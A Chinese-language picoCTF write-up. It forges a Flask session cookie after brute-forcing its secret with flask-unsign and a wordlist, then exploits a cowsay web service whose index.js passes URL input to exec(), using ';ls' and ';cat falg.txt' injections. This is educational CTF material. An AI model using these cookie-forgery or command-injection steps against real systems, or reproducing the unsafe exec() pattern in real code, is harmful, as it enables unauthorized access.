pip3 install flask-unsign
2.查詢是否安裝成功
pip3 list | grep flask
flask-unsign

注意,如果提示 command not found: flask-unsign 可能是因為該指令不在 $PATH 的路徑裡

在 Mac 上,路徑可能為 ~/Library/Python/3.8/bin

在 Linux 上,路徑可能為 ~/.local/bin

如果想把路徑加在預設指令上:

export PATH=$PATH:~/Library/Python/3.8/bin

把上面指令寫在 ~/.zshrc 可持續生效

3.進入執行檔目錄(以 Mac 為例)
cd Library/Python/3.8/bin
4.下載 Worldlist

雖然這次的這一題 secret 字詞不多,但我還是建議使用 rockyou.txt 作為字典,日後以應變更多情況。

5.使用 flask-unsign 解出 secret key
./flask-unsign --unsign --cookie 'eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Yg50wg.7AVThx0STylIToTvFNt87LtU0ts' --wordlist ../../../../Downloads/wordlists/rockyou.txt --no-literal-eval
[*] Session decodes to: {'very_auth': 'blank'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 39424 attempts
b'gingersnap'

解出 secret key 為 gingersnap

./flask-unsign --sign --cookie '{"very_auth":"admin"}' --secret gingersnap

獲得重簽後的 cookie

eyJ2ZXJ5X2F1dGgiOiJhZG1pbiJ9.Yg9PeA.JCNS5hRnqk5g0u6VMorLek9C10s

2022-02-18_15-52

caas (150 points)

Now presenting cowsay as a service

Download index.js

index.js

const express = require('express');
const app = express();
const { exec } = require('child_process');

app.use(express.static('public'));

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

app.listen(3000, () => {
  console.log('listening');
});

Analysis

先看看首頁,只有幾行話:

https://caas.mars.picoctf.net/

2022-02-18_17-13

然後按照上面所說,加上 path,例如 cowsay/hello

https://caas.mars.picoctf.net/cowsay/hello

 _______
< hello >
 -------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

我打的 hello 照執行出來,透過原始碼得知,字串用了 exec() 函數執行顯示出來。

然後試試後面加上 ;ls

https://caas.mars.picoctf.net/cowsay/hello;ls

 _______
< hello >
 -------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
Dockerfile
falg.txt
index.js
node_modules
package.json
public
yarn.lock

果然把目錄 output 出來

Exploit

payload 是後面加上 ;cat falg.txt

https://caas.mars.picoctf.net/cowsay/hello;cat%20falg.txt

%20 是空格

 _______
< hello >
 -------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||
picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}

donate